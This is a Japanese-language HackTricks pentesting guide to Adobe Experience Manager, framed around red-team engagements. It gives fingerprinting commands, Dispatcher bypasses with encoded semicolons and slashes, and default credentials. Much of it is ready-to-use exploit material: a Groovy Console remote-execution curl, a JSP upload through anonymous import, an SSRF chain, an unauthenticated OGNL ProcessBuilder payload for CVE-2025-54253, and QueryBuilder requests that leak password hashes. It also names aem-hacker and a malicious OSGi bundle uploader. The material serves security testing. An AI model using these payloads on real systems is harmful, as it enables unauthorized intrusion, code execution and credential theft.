AEM (Adobe Experience Manager) Pentesting

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) は、Apache Sling/Felix (OSGi) と Java Content Repository (JCR) の上で動作するエンタープライズ向けCMSです。 攻撃者の観点から、AEM インスタンスはしばしば危険な development endpoints、弱い Dispatcher ルール、default credentials、そして四半期ごとに修正される長い CVEs の列を露出します。

以下のチェックリストは、実際のエンゲージメント（2022-2026）で繰り返し見られる、externally reachable (unauth) attack surface に焦点を当てています。

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

その他の簡単な兆候:

• /etc.clientlibs/ 静的パスが存在する（JS/CSS を返す）。
• /libs/granite/core/content/login.html ログインページ（“Adobe Experience Manager” バナー付き）。
• </script><!--/* CQ */--> HTML の末尾にあるコメント。

2. 高価値な未認証エンドポイント

Dispatcher bypass のトリック（2025/2026 時点でも有効）

ほとんどの本番サイトは Dispatcher（リバースプロキシ）の背後にある。フィルタルールは、エンコードされた文字や許可されている静的拡張子を悪用して頻繁にバイパスされる。

• 古典的なセミコロン + 許可された拡張子 *

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.

3. 一般的なミスコンフィギュレーション（2026年時点でも残存）

1. Anonymous POST servlet – POST /.json with :operation=import により新しい JCR ノードを植え付けることができます。Dispatcher で *.json への POST をブロックすれば修正されます。
2. World-readable user profiles – デフォルトの ACL が /home/users/**/profile/* に対して全員に jcr:read を付与しています。
3. Default credentials – admin:admin, author:author, replication:replication。
4. WCMDebugFilter enabled ⇒ ?debug=layout を介した反射型 XSS（CVE-2016-7882、レガシー 6.4 インストールでまだ見つかります）。
5. Groovy Console exposed – Groovy スクリプトを送ることでリモートコード実行が可能です：

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Dispatcher encoded-slash gap – パスフィルタでブロックされていても %2f/%3B を使うと /bin/querybuilder.json や /etc/truststore.json に到達可能になります。
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= が認証なしで OGNL を評価し（CVE-2025-54253）認証不要の RCE に繋がります；Forms の送信での XXE（CVE-2025-54254）と組み合わせるとファイル読み取りが可能です。

4. 最近の脆弱性（サービスパックの周期）

常に顧客のサービスパックに対応する APSB バレットインを確認し、最新の 6.5.24 (Nov 26, 2025) または Cloud Service 2025.12 への更新を促してください。AEM Forms on JEE は別途アドオン hotfix 6.5.0-0108+ が必要です。

5. エクスプロイトスニペット

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

次に /content/evil.jsp にリクエストを送る – JSP は AEM process user として実行される。

5.2 SSRF to RCE（過去の事例 < 6.3）

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py は aem-hacker に含まれており、チェーン全体を自動化する。

5.3 AEM Forms JEE における OGNL RCE（CVE-2025-54253）

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

脆弱であれば、HTTPボディにはコマンドの出力が含まれます。

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

anonymous read ACLs がデフォルトの場合、rep:password ハッシュを含むユーザーノードを返す。

6. ツール

• aem-hacker – 多機能な列挙スクリプトで、dispatcher bypass、SSRF 検出、default-creds チェックなどをサポート。

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – 自動的に QueryBuilder ハッシュの公開と encoded-slash bypass を検出します（公開: Dec 2025）。
• Content brute-force – 隠れたコンポーネントを発見するために /_jcr_content.(json|html) を再帰的にリクエストする。
• osgi-infect – 資格情報がある場合、/system/console/bundles 経由で悪意のある OSGi バンドルをアップロードする。

参考資料

• Adobe Security Bulletin APSB25-115 – Adobe Experience Manager のセキュリティアップデート（Dec 9, 2025）
• BleepingComputer – Adobe、AEM Forms の zero-days に対する緊急修正を公開（Aug 5, 2025）

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。